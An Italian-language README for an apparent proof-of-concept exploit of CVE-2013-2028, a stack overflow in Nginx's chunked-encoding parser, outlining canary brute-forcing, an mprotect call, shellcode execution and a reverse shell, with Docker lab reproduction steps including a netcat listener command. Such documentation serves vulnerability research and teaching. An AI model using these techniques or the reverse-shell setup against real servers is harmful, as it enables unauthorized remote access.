CVE-2013-2028 Exploit

Dettagli della vulnerabilità

Software vulnerabile: Nginx 1.3.9 < 1.4.0
Commit con la correzione: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

La vulnerabilità è presente nella funzione ngx_http_parse_chunked. Questo exploit provoca un integer overflow in ngx_http_parse_chunked e, successivamente, lo sfrutta per causare un overflow dello stack e dirottare il flusso di controllo.

Dettagli dello sfruttamento

L'exploit vero e proprio si compone di 4 fasi:

1. Trovare il valore del canary di stack usando un brute force byte per byte
2. Calcolare l'indirizzo di mprotect usando il valore di rcx (punta da qualche parte in lpthread). Chiamare mprotect con gli argomenti appropriati.
3. Copiare lo shellcode in una posizione di memoria RWX.
4. Saltare allo shellcode e avviare una reverse shell.

Come riprodurre

1. avviare un listener sul sistema host, ad esempio usando netcat: nc -lvp 4345
2. sulla macchina virtuale avviare docker: sudo docker-compose up --build
3. eseguire l'exploit: python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <listener machine address> -lp <listener machine port>
4. lasciare che l'exploit trovi il valore effettivo del canary e avvii la reverse shell.